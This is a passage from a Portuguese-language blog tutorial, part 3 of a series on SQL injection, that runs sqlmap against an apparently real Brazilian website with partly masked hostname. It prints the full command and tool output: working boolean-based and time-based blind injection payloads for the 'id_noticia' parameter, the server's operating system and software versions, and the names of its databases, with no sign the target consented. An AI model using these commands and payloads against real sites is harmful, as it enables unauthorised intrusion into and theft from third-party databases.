Festa com SQL injection
SQL injection é uma tática hacker que utiliza uma linguagem bem conhecida: SQL (Structured Query Language) ou Linguagem de Consulta Estruturada, é utilizada pela maioria dos SGDB "software livre" do Brasil e do mundo. Ela pode ser uma solução, ou um problema na vida de um administrador de redes.
Parte 3: Good, let's move on!
Uma vez que conhecemos a versão do SGBD, façamos o seguinte:
# sqlmap --url "http://www.?????.XXXXX.br/XXXXX/xxxx_docs/noticia/?id_noticia=85" --dbs
Código de retorno:
Informam os nomes e números de bancos, por questão ética, ocultei algumas letras.
# sqlmap --url "http://www.?????.XXXXX.br/XXXXX/xxxx_docs/noticia/?id_noticia=85" --dbs
Explicando 02
O parâmetro [--dbs], pesquisa os banco de dados nos SGBDs.Código de retorno:
sqlmap/0.9 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
[*] starting at: 20:31:40
[20:31:40] [INFO] using '/usr/local/lib/python2.7/
site-packages/sqlmap/output/www.????????.XXXX.br/session' as session file
[20:31:40] [INFO] resuming injection data from session file
[20:31:40] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file
[20:31:41] [INFO] testing connection to the target url
sqlmap identified the following
injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id_noticia
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id_noticia=85' AND 1304=1304 AND 'JTax'='JTax
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id_noticia=85' AND SLEEP(5) AND 'kFej'='kFej
---
[20:31:43] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0.11
[20:31:43] [INFO] fetching database names
[20:31:43] [INFO] fetching number of databases
[20:31:43] [INFO] retrieved: 3
[20:31:51] [INFO] retrieved: information_schema
[20:34:44] [INFO] retrieved: dbcp???
[20:35:48] [INFO] retrieved: dbes??????????
available databases [3]:
[*] dbcp???
[*] dbes??????????
[*] information_schema
[20:37:28] [INFO] Fetched data logged to text files under
'/usr/local/lib/python2.7/site-packages/sqlmap/output/
www.????????.XXX.br'
[*] shutting down at: 20:37:28
Explicando 03
As linhas:[20:31:43] [INFO] fetching database names
[20:31:43] [INFO] fetching number of databases
[20:31:43] [INFO] retrieved: 3
[20:31:51] [INFO] retrieved: information_schema
[20:34:44] [INFO] retrieved: dbcp??
[20:35:48] [INFO] retrieved: dbes???????
available databases [3]:
Informam os nomes e números de bancos, por questão ética, ocultei algumas letras.